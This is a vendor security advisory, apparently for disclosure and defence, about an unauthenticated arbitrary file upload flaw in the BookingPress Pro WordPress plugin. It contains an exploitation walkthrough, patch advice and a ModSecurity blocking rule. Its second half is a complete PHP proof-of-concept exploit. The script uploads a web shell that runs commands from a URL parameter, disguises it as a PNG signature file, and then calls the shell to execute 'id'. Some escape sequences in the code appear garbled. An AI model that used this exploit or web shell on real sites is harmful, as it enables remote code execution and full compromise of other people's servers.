Atomic Edge analysis of CVE-2026-6960 (metadata-based):
This is an unauthenticated arbitrary file upload vulnerability in BookingPress Pro, a WordPress appointment booking plugin. The vulnerability exists in the ‘bookingpress_validate_submitted_booking_form_func’ function and affects versions up to and including 5.6. With a CVSS score of 9.8, this is a critical severity issue that requires no authentication and no user interaction.
The root cause, inferred from the CWE-434 classification (Unrestricted Upload of File with Dangerous Type) and the description, is the absence of file type validation in the signature custom field upload handler. WordPress’ built-in wp_check_filetype_and_ext() function likely was not used. Atomic Edge analysis concludes that the vulnerable function processes form submissions containing file data from a signature custom field but fails to verify the file extension or MIME type against an allowlist of safe types (e.g., image/png, image/jpeg). This omission allows attackers to upload files with dangerous extensions like .php.
For exploitation, an unauthenticated attacker crafts a POST request to the standard WordPress AJAX endpoint at /wp-admin/admin-ajax.php with the action parameter set to ‘bookingpress_validate_submitted_booking_form’ (the likely handler based on the function name). The request includes multipart form data containing a file field corresponding to the signature custom field (e.g., ‘bookingpress_signature_field’). The attacker uploads a PHP web shell disguised as a legitimate image file. Because no MIME type or extension validation occurs, the file is written to a predictable upload directory, typically /wp-content/uploads/bookingpress/ or a subdirectory thereof. The attacker then accesses the uploaded PHP file directly via a browser to execute arbitrary commands on the server.
Remediation requires the plugin developers to implement proper file upload validation in the ‘bookingpress_validate_submitted_booking_form_func’ function. The fix should use WordPress’ native wp_check_filetype_and_ext() function to restrict uploads to allowed MIME types (e.g., image/png, image/jpeg for signature data). Additionally, the upload destination should not be web-accessible, or at minimum, uploaded files should be renamed to prevent execution of PHP code. Atomic Edge analysis recommends patching to version 5.7 immediately.
The impact of successful exploitation is severe. An unauthenticated attacker can achieve remote code execution on the WordPress server by uploading a malicious PHP file. This leads to full site compromise: data theft, database access, file system manipulation, and potential lateral movement within the hosting environment. Given that the vulnerability requires no authentication and has a low attack complexity, widespread automated exploitation is likely.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6960 (metadata-based)
# Block unauthenticated arbitrary file upload via BookingPress Pro signature field
# Target: /wp-admin/admin-ajax.php with action=bookingpress_validate_submitted_booking_form
# and file upload containing malicious extension
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261960,phase:2,deny,status:403,chain,msg:'CVE-2026-6960 - BookingPress Pro Unauthenticated File Upload',severity:'CRITICAL',tag:'CVE-2026-6960'"
SecRule ARGS_POST:action "@streq bookingpress_validate_submitted_booking_form" "chain"
SecRule ARGS_POST:bookingpress_signature_field "@rx .ph(?:p[0-9]?|t(?:ml)?|s)|.[^s.]{1,5}$" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6960 - BookingPress Pro <= 5.6 - Unauthenticated Arbitrary File Upload via Signature Custom Field
// Configuration
$target_url = 'https://example.com'; // Change to target WordPress site URL
$upload_path = '/wp-admin/admin-ajax.php';
$action = 'bookingpress_validate_submitted_booking_form'; // Inferred from vulnerable function name
$shell_filename = 'atomic_shell.php'; // Name of the uploaded payload
// PHP web shell payload
$payload = '<?php
if(isset($_GET["cmd"])){
echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
?>';
// Build multipart form data
$boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW';
$body = '';
// Add action parameter
$body .= '--' . $boundary . "rn";
$body .= 'Content-Disposition: form-data; name="action"' . "rnrn";
$body .= $action . "rn";
// Add other required booking form fields (simplified)
$body .= '--' . $boundary . "rn";
$body .= 'Content-Disposition: form-data; name="bookingpress_service"' . "rnrn";
$body .= '1' . "rn";
$body .= '--' . $boundary . "rn";
$body .= 'Content-Disposition: form-data; name="bookingpress_category"' . "rnrn";
$body .= '1' . "rn";
// Add signature file field (the vulnerable upload point)
$body .= '--' . $boundary . "rn";
$body .= 'Content-Disposition: form-data; name="bookingpress_signature_field"; filename="' . $shell_filename . '"' . "rn";
$body .= 'Content-Type: image/png' . "rnrn";
$body .= $payload . "rn";
$body .= '--' . $boundary . '--' . "rn";
// Perform the request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $upload_path);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: multipart/form-data; boundary=' . $boundary,
'Content-Length: ' . strlen($body),
'X-Requested-With: XMLHttpRequest', // Mimic AJAX request
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "nn";
echo "Full Response:n" . $response . "nn";
// Attempt to access the uploaded shell
$shell_url = $target_url . '/wp-content/uploads/bookingpress/' . $shell_filename;
echo "Attempting to access shell at: " . $shell_url . "n";
$shell_response = file_get_contents($shell_url . '?cmd=id');
if ($shell_response !== false) {
echo "Shell response:n" . $shell_response . "n";
} else {
echo "Could not access shell. Try finding the uploaded file in /wp-content/uploads/ or check plugin documentation for upload path.n";
}
?>